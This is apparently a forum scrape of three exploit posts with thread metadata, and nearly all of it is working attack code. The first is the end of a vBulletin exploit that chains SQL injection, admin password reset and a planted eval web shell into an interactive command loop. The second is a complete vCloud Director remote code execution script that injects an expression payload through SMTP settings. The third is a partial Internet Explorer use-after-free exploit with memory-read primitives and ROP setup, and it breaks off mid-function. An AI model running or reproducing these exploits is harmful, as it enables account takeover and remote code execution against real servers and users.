r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from '+table_prefix+'user where usergroupid=6;-- -'})
admin_user,admin_id,admin_email,admin_orig_token = r.json()['rawtext'].split('|')
print('[+] admin original token '+admin_orig_token)


# REQUEST CAPTCHA
r = s.post(url+'/ajax/api/hv/generateToken?',headers={'X-Requested-With': 'XMLHttpRequest'},data={'securitytoken':'guest'})
rhash=r.json()['hash']
r = s.get(url+'/hv/image?hash='+rhash)



# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit 0,1-- -'})

#print r.text
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,(answer),8,7,6,5,4,3,2,1 from '+table_prefix+'humanverify limit '+str(int(r.json()['rawtext'])-1)+',1-- -'})


# REQUEST NEW PW
CAPTCHA=r.json()['rawtext']


print('[+] Captcha '+CAPTCHA)

r = s.post(url+'/auth/lostpw', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'email':admin_email,'humanverify[input]':CAPTCHA,'humanverify[hash]':rhash,'securitytoken':'guest'})
if not r.json()['response']==None:
    print('[-] reset pw failed')
    exit()

print('[+] Resetting password')
# RETRIEVE RESET TOKEN FROM DB
# GET CAPTCHA
r = s.post(url+'/ajax/api/content_infraction/getIndexableContent', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from '+table_prefix+'useractivation WHERE userid='+admin_id+' limit 0,1-- -'})
TOKEN=r.json()['rawtext']


# RESET PW
r = s.post(url+'/auth/reset-password', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'userid':admin_id,'activationid':TOKEN,'new-password':'P4$$w0rd!','new-password-confirm':'P4$$w0rd!','securitytoken':'guest'})
if not 'Logging in' in r.text:
    print('[-] fail')
    exit()
print('[!] new admin credentials {'+admin_user+':P4$$w0rd!}')


# LOGIN
r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'username':admin_user,'password':'P4$$w0rd!','securitytoken':'guest'})
TOKEN = r.json()['newtoken']

print('[+] Writing shell')
#ACTIVATE SITE-BUILDER
r = s.post(url+'/ajax/activate-sitebuilder', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'pageid':'1','nodeid':'0','userid':'1','loadMenu':'false','isAjaxTemplateRender':'true','isAjaxTemplateRenderWithData':'true','securitytoken':TOKEN})

r = s.post(url+'/auth/ajax-login', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'logintype':'cplogin','userid':admin_id,'password':'P4$$w0rd!','securitytoken':TOKEN})

# SAVE WIDGET
r = s.post(url+'/ajax/api/widget/saveNewWidgetInstance', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':TOKEN})
widgetinstanceid = r.json()['widgetinstanceid']
pagetemplateid   = r.json()['pagetemplateid']

r = s.post(url+'/ajax/api/widget/saveAdminConfig', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'widgetid':'23','pagetemplateid':pagetemplateid,'widgetinstanceid':widgetinstanceid,'data[widget_type]':'','data[title]':'Unconfigured+PHP+Module','data[show_at_breakpoints][desktop]':'1','data[show_at_breakpoints][small]':'1','data[show_at_breakpoints][xsmall]':'1','data[hide_title]':'0','data[module_viewpermissions][key]':'show_all','data[code]':'eval($_GET["e"]);','securitytoken':TOKEN})


#SAVE PAGE
myshell = 'myshell'+str(randint(10, 100))
r = s.post(url+'/admin/savepage', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} , data={'input[ishomeroute]':'0','input[pageid]':'0','input[nodeid]':'0','input[userid]':admin_id,'input[screenlayoutid]':'2','input[templatetitle]':myshell,'input[displaysections[0]]':'[]','input[displaysections[1]]':'[]','input[displaysections[2]]':'[{"widgetId":"23","widgetInstanceId":"'+str(widgetinstanceid)+'"}]','input[displaysections[3]]':'[]','input[pagetitle]':myshell,'input[resturl]':myshell,'input[metadescription]':'vBulletin Forums','input[pagetemplateid]':pagetemplateid,'url':url,'securitytoken':TOKEN})


r = s.get(url+'/'+myshell+'?e=echo \'pwwwwwwwwwwwwwwwwwwned!\';', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
if 'pwwwwwwwwwwwwwwwwwwned' in r.text:
    print('[!] GOT SHELL')
    while True:
        cmd = input('> ')
        r = s.get(url+'/'+myshell+'?e=system(\''+cmd+'\');', verify=False,headers={'X-Requested-With': 'XMLHttpRequest'} )
        print(r.text.split('<div class="widget-content">')[1].split('</div>')[0].strip().rstrip())
RCE, vCloud Director 9.7.0.15498291, CVE-2020-3956
ID: 67686ba3b4103b69df379cbc
Thread ID: 38235
Created: 2020-06-08T06:23:21+0000
Last Post: 2020-06-23T09:52:50+0000
Author: DarckSol
Prefix: Remote
Replies: 1 Views: 2K

Code:Copy to clipboard

#!/usr/bin/python
# Exploit Title: vCloud Director - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description:
#   VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()

def login(url, username, password, verbose):
        target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
        res = session.get(target_url)
        match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
        if match:
                tenant = match.group(1)
        else:
                print('[!] can\'t find tenant identifier')
                return (None,None,None,None)

        if verbose:
                print('[*] tenant: %s'%(tenant))

        match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
        if match:                                                                                                                                                       # Cloud Director 9.*
                login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
                res = session.post(login_url, data={'username':username,'password':password})
                if res.status_code == 401:
                        print('[!] invalid credentials')
                        return (None,None,None,None)
        else:                                                                                                                                                           # Cloud Director 10.*
                match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
                if match:
                        login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
                        headers = {
                                'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
                                'Accept': 'application/json;version=29.0',
                                'Content-type': 'application/json;version=29.0'
                        }
                        res = session.post(login_url, headers=headers)
                        if res.status_code == 401:
                                print('[!] invalid credentials')
                                return (None,None,None,None)
                else:
                        print('[!] url for login form was not found')
                        return (None,None,None,None)

        cookies = session.cookies.get_dict()
        jwt = cookies['vcloud_jwt']
        session_id = cookies['vcloud_session_id']

        if verbose:
                print('[*] jwt token: %s'%(jwt))
                print('[*] session_id: %s'%(session_id))

        res = session.get(target_url)
        match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
        if match is None:
                print('[!] organization not found')
                return (None,None,None,None)
        organization = match.group(1)
        if verbose:
                print('[*] organization name: %s'%(organization))

        match = re.search(r'orgId : \'([^\']+)', res.content)
        if match is None:
                print('[!] orgId not found')
                return (None,None,None,None)
        org_id = match.group(1)
        if verbose:
                print('[*] organization identifier: %s'%(org_id))

        return (jwt,session_id,organization,org_id)


def exploit(url, username, password, command, verbose):
        (jwt,session_id,organization,org_id) = login(url, username, password, verbose)
        if jwt is None:
                return

        headers = {
                'Accept': 'application/*+xml;version=29.0',
                'Authorization': 'Bearer %s'%jwt,
                'x-vcloud-authorization': session_id
        }
        admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
        res = session.get(admin_url, headers=headers)
        match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
        if match:
                version = match.group(1)
                if verbose:
                        print('[*] detected version of Cloud Director: %s'%(version))
        else:
                version = None
                print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')

        email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

        payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
        data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
        data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
        data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
        data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
        data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
        res = session.put(email_settings_url, data=data, headers=headers)
        match = re.search(r'value:\s*\[([^\]]+)\]', res.content)

        if verbose:
                print('')
        try:
                print(base64.b64decode(match.group(1)))
        except Exception:
                print(res.content)


parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()

url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)

#  0day.today [2020-06-08]  #
RCE, Windows 7 x64, Internet Explorer 8-11, CVE-2020-0674
ID: 67686ba3b4103b69df379cbe
Thread ID: 37680
Created: 2020-05-23T08:38:05+0000
Last Post: 2020-05-23T08:38:05+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 2K

Spoiler: эксплойт

HTML:Copy to clipboard

<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
        <script language="JScript.Compact">
// -------------------------------------------------------------------------------------------------
//
// Credits:
//    maxpl0it (@maxpl0it) - Writing the exploit
//    Qihoo 360 - Identifying the vulnerability in the wild
//
//
// Vulnerability: Use-After-Free when Array.sort() is called with a comparator function. The two
//                arguments are untracked by the garbage collector.
//
// Exploit Description: This exploit was written for 64-bit IE instances.
//                      However, Enhanced Protected Mode sandboxing could be enabled for IE 10
//                      and IE 11 because EPM on Windows 7 simply enables x64 and doesn't do
//                      much else.
//                      The exploit executes C:\Windows\System32\calc.exe but doesn't implement
//                      any form of process continuation after execution.
//
// Testing:
//    OS tested on: Windows 7
//    IE versions tested on:
//           8 (x64 version)
//           9 (x64 version)
//           10 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
//           11 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
//
// Further notes:
//     Video at https://twitter.com/maxpl0it/status/1253396942048104448
//
//     The debug is better viewed in the console. Open Developer Tools and enable debug below.
//
//     This is the non-EMET-bypassing version and only handles the stack pivot check and EAF.
//
//     If you receive the error "Couldn't rewrite variable", verify that this is 64-bit IE and not a
//     32-bit process (iexplorer.exe and not iexplorer.exe *32)
//
// ------------------------------------------------------------------------------------------------------


// write_debug: Used to show debugging output.
function write_debug(str_to_write) {
    if(debug) { // Switch is below
        try{
            console.log(str_to_write); // In IE, console only works if devtools is open.
        } catch(e) {
            try {
                alert(str_to_write); // A lot of popups but provides information.
            } catch(e) {
                // Otherwise, nothing.
            }
        }
    }
}


// Globals
var depth; // Used to track the depth of the recursion for the exploit function.
var spray; // Used to spray objects and fill GcBlocks.
var overlay; // Used to hold objects that will eventually contain properties that will reallocate freed GcBlocks.
var overlay_backup; // Used to make sure that the overlay objects still have a reference after the exploit is done. Otherwise they would be freed and reallocated.
var variants; // A string that contains a bunch of fake VAR structures. This is the property name that will cause the freed GcBlock to be reallocated.
var total; // Used to hold the untracked variable pointers for the use-after-free.
var leak_lower; // Holds the least significant DWORD of the 'next VVAL' pointer leak.
var leak_offset; // Since we don't want to free all overlay variables, this value will be used to identify which property we have got a pointer for so only this will be freed and reallocated later.
var leak_verify_var; // Used to verify that the rewrite worked. If the overlay cannot be freed and reallocated, then the exploit will not work.
var fakeobj_var; // Points at the property name string in the final VVAL. When the property name changes, a fake VAR is constructed in the name string and will change this fakeobj_var's type and object pointer values.
var trigger_obj; // Will contain the fake object and vftable.
var context; // Will store the context structure for NtContinue.
var padding = "AAAAAAAAAAA"; // Padding aligns so that the property with the manipulated hash will end up on top of an untracked var.
var leak = "\u0005"; // This manipulates the hash of the VVAL.
var leaked_var = "A"; // The final object property name. Needs to be created so that the 'next VVAL' pointer of the manipulated hash VVAL is filled.
var spray_size = 20000; // The size of the spray array.
var overlay_size = 20000; // The size of the overlay array.
var pad_size = 3000; // The size of padding for the trigger object. This padding adds additional space for functions like WinExec() to add their stack frames and the stack frames of the functions they call.
var sort = new Array(); // The array to be sorted with the vulnerable function.
var lfh = new Array(); // An array used to trigger lfh.
var debug = false; // Whether write_debug will do anything.
var command = "\u3a43\u575c\u6e69\u6f64\u7377\u535c\u7379\u6574\u336d\u5c32\u6163\u636c\u652e\u6578"; // The command to be executed. In this case it's "C:\Windows\System32\calc.exe"


// Setup - fills the sort array with arrays to be sorted. Done first to avoid the stack setup getting messed up.
for(i = 0; i < 310; i++) sort[i] = [0, 0];


// lfh_trigger: Used to trigger LFH for a particular size.
function lfh_trigger() {
    for(i = 0; i < 50; i++) {
        tmp = new Object();
        tmp[Array(570).join('A')] = 1;
        lfh.push(tmp);
    }
}


// reset: Resets the objects used in the function initial_exploit so it could be used again.
function reset() {
    depth = 0;
    spray = new Array();
    overlay = new Array();
    total = new Array();
    for(i = 0; i < overlay_size; i++) overlay[i] = new Object(); // Overlay must happen before spray
    for(i = 0; i < spray_size; i++) spray[i] = new Object();
    CollectGarbage();
}


// make_variant: Creates a fake VAR in a string.
function make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) {
    var charCodes = new Array();
    charCodes.push(
         // type
        type, 0, 0, 0,

         // obj_ptr
        obj_ptr_lower & 0xffff, (obj_ptr_lower >> 16) & 0xffff, obj_ptr_upper & 0xffff, (obj_ptr_upper >> 16) & 0xffff,

        // next_ptr
        next_ptr_lower & 0xffff, (next_ptr_lower >> 16) & 0xffff, next_ptr_upper & 0xffff, (next_ptr_upper >> 16) & 0xffff
        );
    return String.fromCharCode.apply(null, charCodes);
}


// set_variants: A wrapper for make_variant that allocates and pads the property names to align the fake VARs correctly in memory.
function set_variants(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) {
    variants = "AAAAAAAA";
    for(i=0; i < 46; i++) {
        variants += make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper);
    }
    variants += "AAAAAAAAA";
}


// initial_exploit: The main exploit function.
function initial_exploit(untracked_1, untracked_2) {
    untracked_1 = spray[depth*2];
    untracked_2 = spray[depth*2 + 1];
    if(depth > 150) {
        spray = new Array(); // Erase spray
        CollectGarbage(); // Add to free
        for(i = 0; i < overlay_size; i++) {
            overlay[i][variants] = 1;
            overlay[i][padding] = 1;
            overlay[i][leak] = 1;
            overlay[i][leaked_var] = i; // Used to identify which leak is being used
        }
        total.push(untracked_1);
        total.push(untracked_2);
        return 0;
    }
    // Set pointers
    depth += 1;
    sort[depth].sort(initial_exploit);
    total.push(untracked_1);
    total.push(untracked_2);
    return 0;
}


// rewrite: Frees the correct overlay object and reallocate over it as to replace the object at the leaked 'next property' pointer.
function rewrite(v, i){
    CollectGarbage(); // Get rid of anything lingering that might screw up the exploit
    overlay_backup[leak_offset] = null; // Erase the object to be replaced
    CollectGarbage(); // Clear leak
    overlay_backup[leak_offset] = new Object(); // New object - Might end up in the same slot as the last object
    overlay_backup[leak_offset][variants] = 1; // Re-allocate the newly freed location (Take up the original GcBlock location again)
    overlay_backup[leak_offset][padding] = 1; // Add padding to align the hash with the type to leak the 'next property' pointer
    overlay_backup[leak_offset][leak] = 1; // The hash-manipulating property
    overlay_backup[leak_offset][v] = i; // sets the property name and the initial VAR
}


// read_pointer: Rewrites the property and changes the fakeobj_var variable to a string at a specified location. This sets up the read primitive.
function read_pointer(addr_lower, addr_higher, o) {
    rewrite(make_variant(8, addr_lower, addr_higher), o);
}


// read_byte: Reads the byte at the address using the length of the BSTR.
function read_byte(addr_lower, addr_higher, o) {
    read_pointer(addr_lower + 2, addr_higher, o); // Use the length. However, when the length is found, it is divided by 2 (BSTR_LENGTH >> 1) so changing this offset allows us to read a byte properly.
    return (fakeobj_var.length >> 15) & 0xff; // Shift to align and get the byte.
}


// read_word: Reads the WORD (2 bytes) at the specified address.
function read_word(addr_lower, addr_higher, o) {
    read_pointer(addr_lower + 2, addr_higher, o);
    return ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
}


// read_dword: Reads the DWORD (4 bytes) at the specified address.
function read_dword(addr_lower, addr_higher, o) {
    read_pointer(addr_lower + 2, addr_higher, o);
    lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    read_pointer(addr_lower + 4, addr_higher, o);
    upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    return lower + (upper << 16);
}


// read_qword: Reads the QWORD (8 bytes) at the specified address.
function read_qword(addr_lower, addr_higher, o) {
    // Lower
    read_pointer(addr_lower + 2, addr_higher, o);
    lower_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    read_pointer(addr_lower + 4, addr_higher, o);
    lower_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);

    // Upper
    read_pointer(addr_lower + 6, addr_higher, o);
    upper_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    read_pointer(addr_lower + 8, addr_higher, o);
    upper_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    return {'lower': lower_lower + (lower_upper << 16), 'upper': upper_lower + (upper_upper << 16)};
}


// test_read: Used to test whether the arbitrary read works. leak_lower + 64 points to the fakeobj_var location (property name string). The byte at this address is therefore expected to be 8 (String VAR type).
function test_read() {
    if(read_byte(leak_lower + 64) != 8) {
        throw Error("Arbitrary read failed.");
    }
}


// test_fakeobj: Used to test whether fakeoj_var responds as expected when the type and value is changed.
function test_fakeobj() {
    rewrite(make_variant(3, 23));
    if(fakeobj_var + "" != 23) { // Turning it to a string causes the conversion to copy, dereferencing the 0x80 type. Type 0x80 being used directly won't work.
        throw Error("Couldn't re-write fakeobj variable");
    }
}


// test_rewrite: Used to test whether the VAR in the VVAL leaked address changes as expected.
function test_rewrite() {
    rewrite(leaked_var, 23);
    if(leak_verify_var + "" != 23) {
        throw Error("Couldn't re-write variable");
    }
}


// addrof: The 'address-of' primitive. Changes the VAR at the start of the VVAL to point to a given object and changes the fakeobj_var string to point to the object pointer of this VAR, thus allowing the address to be read.
function addrof(o) {
    var_addr = read_dword(leak_lower + 8, 0, o); // Dereference the first VAR
    return read_dword(var_addr + 8, 0, 1); // Get the Object pointer of the second VAR
}


// find_module_base: Finds the base of a module from a leaked pointer. Works by zeroing the least significant 16 bits of the address and subtracting 0x10000 until the DOS stub code is found at a specified offset.
function find_module_base(ptr) {
    ptr.lower = (ptr.lower & 0xFFFF0000) + 0x4e; // Set to starting search point
    while(true) {
        if(read_dword(ptr.lower, ptr.upper) == 0x73696854) { // The string 'This'
            write_debug("[+] Found module base!");
            ptr.lower -= 0x4e; // Subtract the offset to get the base
            return ptr;
        }
        ptr.lower -= 0x10000;
    }
}


// leak_jscript_base: Gets the base of the jscript module by creating a new object, following the object pointers until the vftable is found, and then using the vftable leak to identify the base of jscript.dll.
function leak_jscript_base() {
    // Create an object to leak vftable
    obj = new Object();

    // Get address of the object pointer
    obj_ptr_addr = addrof(obj);
    write_debug("[+] Object ptr at 0x" + obj_ptr_addr.toString(16));

    // Get address of the vftable
    vftable_addr = read_qword(obj_ptr_addr, 0, 1);
    write_debug("[+] Vftable at upper 0x" + vftable_addr.upper.toString(16) + " and lower 0x" + vftable_addr.lower.toString(16));

    return find_module_base(vftable_addr);
}


// leak_var: Executes the main exploit function in order to leak a 'next property' pointer.
function leak_var() {
    reset();
    variants = Array(570).join('A'); // Create the variants
    sort[depth].sort(initial_exploit); // Exploit
    overlay_backup = overlay; // Prevent it from being freed and losing our leaked pointer
    leak_lower = undefined;
    for(i = 0; i < total.length; i++) {
        if(typeof total[i] === "number" && total[i] % 1 != 0) {
            leak_lower = (total[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number
            break;
        }
    }
}


// get_rewrite_offset: Executes the main exploit function again in order to create a number of fake VARs that point to the leaked location. This means that the object pointer can be read and the exact offset of the leaked property in the overlay array can be identified.
function get_rewrite_offset() {
    reset();
    set_variants(0x80, leak_lower);  // Find the number of the object
    sort[depth].sort(initial_exploit); // Exploit
    for(i = 0; i < total.length; i++) {
        if(typeof total[i] === "number") {
            leak_offset = parseInt(total[i] + "");
            leak_verify_var = total[i];
            break;
        }
    }
}


// get_fakeobj: Identifies the fakeobj_var.
function get_fakeobj() {
    rewrite(make_variant(3, 1234)); // Turn the name of the property into a variant
    reset();
    set_variants(0x80, leak_lower + 64);  // Create a fake VAR pointing to the name of the property
    sort[depth].sort(initial_exploit); // Exploit
    for(i = 0; i < total.length; i++) {
        if(typeof total[i] === "number") {
            if(total[i] + "" == 1234) {
                fakeobj_var = total[i];
                break;
            }
        }
    }
}


// leak_module: Used to leak a pointer for a given module that is imported by another module by traversing the PE structure in-memory.
function leak_module(base, target_name_lower, target_name_upper) {
    // Get IMAGE_NT_HEADERS pointer
    module_lower = base.lower + 0x3c; // PE Header offset location
    module_upper = base.upper;
    file_addr = read_dword(module_lower, module_upper, 1);
    write_debug("[+] PE Header offset = 0x" + file_addr.toString(16));

    // Get imports
    module_lower = base.lower + file_addr + 0x90; // Import Directory offset location
    import_dir = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Import offset = 0x" + import_dir.toString(16));

    // Get import size
    module_lower = base.lower + file_addr + 0x94; // Import Directory offset location
    import_size = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Size of imports = 0x" + import_size.toString(16));

    // Find module
    module_lower = base.lower + import_dir;
    while(import_size != 0) {
        name_ptr = read_dword(module_lower + 0xc, module_upper, 1); // 0xc is the offset to the module name pointer
        if(name_ptr == 0) {
            throw Error("Couldn't find the target module name");
        }
        name_lower = read_dword(base.lower + name_ptr, base.upper);
        name_upper = read_dword(base.lower + name_ptr + 4, base.upper);
        if(name_lower == target_name_lower && name_upper == target_name_upper) {
            write_debug("[+] Found the module! Leaking a random module pointer...");
            iat = read_dword(module_lower + 0x10, module_upper); // Import Address Table
            leaked_address = read_qword(base.lower + iat + 8, base.upper); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
            write_debug("[+] Leaked address at upper 0x" + leaked_address.upper.toString(16) + " and lower 0x" + leaked_address.lower.toString(16));
            return leaked_address;
        }
        import_size -= 0x14; // The size of each entry
        module_lower += 0x14; // Increase entry pointer
    }
}


// leak_export: Finds the location of a given exported function in a module. Works using binary search in order to speed it up. Assumes that the export name order is alphabetical.
function leak_export(base, target_name_first, target_name_second, target_name_third, target_name_fourth) {
    // Get IMAGE_NT_HEADERS pointer
    module_lower = base.lower + 0x3c; // PE Header offset location
    module_upper = base.upper;
    file_addr = read_dword(module_lower, module_upper, 1);
    write_debug("[+] PE Header offset at 0x" + file_addr.toString(16));

    // Get exports
    module_lower = base.lower + file_addr + 0x88; // Export Directory offset location
    export_dir = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export offset at 0x" + import_dir.toString(16));

    // Get the number of exports
    module_lower = base.lower + export_dir + 0x14; // Number of items offset
    export_num = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export count is " + export_num);

    // Get the address offset
    module_lower = base.lower + export_dir + 0x1c; // Address offset
    addresses = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export address offset at 0x" + addresses.toString(16));

    // Get the names offset
    module_lower = base.lower + export_dir + 0x20; // Names offset
    names = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export names offset at 0x" + names.toString(16));

    // Get the ordinals offset
    module_lower = base.lower + export_dir + 0x24; // Ordinals offset
    ordinals = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export ordinals offset at 0x" + ordinals.toString(16));

    // Binary search because linear search is too slow
    upper_limit = export_num; // Largest number in search space
    lower_limit = 0; // Smallest number in search space
    num_pointer = Math.floor(export_num/2);
    module_lower = base.lower + names;
    search_complete = false;

    while(!search_complete) {
        module_lower = base.lower + names + 4*num_pointer; // Point to the name string offset
        function_str_offset = read_dword(module_lower, module_upper, 0); // Get the offset to the name string
        module_lower = base.lower + function_str_offset; // Point to the string
        function_str_lower = read_dword(module_lower, module_upper, 0); // Get the first 4 bytes of the string
        res = compare_nums(target_name_first, function_str_lower);
        if(!res && target_name_second) {
            function_str_second = read_dword(module_lower + 4, module_upper, 0); // Get the next 4 bytes of the string
            res = compare_nums(target_name_second, function_str_second);
            if(!res && target_name_third) {
                function_str_third = read_dword(module_lower + 8, module_upper, 0); // Get the next 4 bytes of the string
                res = compare_nums(target_name_third, function_str_third);
                if(!res && target_name_fourth) {
                    function_str_fourth = read_dword(module_lower + 12, module_upper, 0); // Get the next 4 bytes of the string
                    res = compare_nums(target_name_fourth, function_str_fourth);
                }
            }
        }
        if(!res) { // equal
            module_lower = base.lower + ordinals + 2*num_pointer;
            ordinal = read_word(module_lower, module_upper, 0);
            module_lower = base.lower + addresses + 4*ordinal;
            function_offset = read_dword(module_lower, module_upper, 0);
            write_debug("[+] Found target export at offset 0x" + function_offset.toString(16));
            return {'lower': base.lower + function_offset, 'upper': base.upper};
        } if(res == 1) {
            if(upper_limit == num_pointer) {
                throw Error("Failed to find the target export.");
            }
            upper_limit = num_pointer;
            num_pointer = Math.floor((num_pointer + lower_limit) / 2);
        } else {
            if(lower_limit == num_pointer) {
                throw Error("Failed to find the target export.");
            }
            lower_limit = num_pointer;
            num_pointer = Math.floor((num_pointer + upper_limit) / 2);
        }
        if(num_pointer == upper_limit && num_pointer == lower_limit) {
            throw Error("Failed to find the target export.");
        }
    }
    throw Error("Failed to find matching export.");
}


// compare_nums: Compares two numbers that represent 4-byte strings for equality. If not, it detects which character is larger or smaller.
function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater
    write_debug("[*] Comparing 0x" + target.toString(16) + " and 0x" + current.toString(16));
    if(target == current) {
        write_debug("[+] Equal!");
        return 0;
    }
    while(target != 0 && current != 0) {
        if((target & 0xff) > (current & 0xff)) {
            return -1;
        } else if((target & 0xff) < (current & 0xff)) {
            return 1;
        }
        target = target >> 8;
        current = current >> 8;
    }
}


// generate_gadget_string: Takes a gadget address and creates a string from it.
function generate_gadget_string(gadget) {
    return String.fromCharCode.apply(null, [gadget.lower & 0xffff, (gadget.lower >> 16) & 0xffff, gadget.upper & 0xffff, (gadget.upper >> 16) & 0xffff]);
}


// generate_obj_vftable: Creates a fake object with a fake vftable containing a few ROP gadgets.
function generate_obj_vftable(initial_jmp) {
    trigger_obj = Array(pad_size + 1).join('A'); // Adds lots of stack space to either side to prevent msvcrt.dll crashing
    trigger_obj = trigger_obj + Array(157).join('A') + generate_gadget_string(initial_jmp);
    trigger_obj = trigger_obj.substr(0, trigger_obj.length);
    trigger_addr = string_addr(trigger_obj);
    write_debug("[+] Trigger object at 0x" + trigger_addr.upper.toString(16) + " 0x" + trigger_addr.lower.toString(16));
    return trigger_addr;
}


// generate_context: Creates a partial fake CONTEXT structure to use with NtContinue. P1Home and P2Home are missing because this structure is a part of the fake object. This means that no stack pivot is needed for execution of this exploit. The leaked stack pointer is also used to protect against stack pivot detection.
function generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export) {
    return "\u0000\u0000\u0000\u0000" + // P3Home
    "\u0000\u0000\u0000\u0000" + // P4Home
    "\u0000\u0000\u0000\u0000" + // P5Home
    "\u0000\u0000\u0000\u0000" + // P6Home
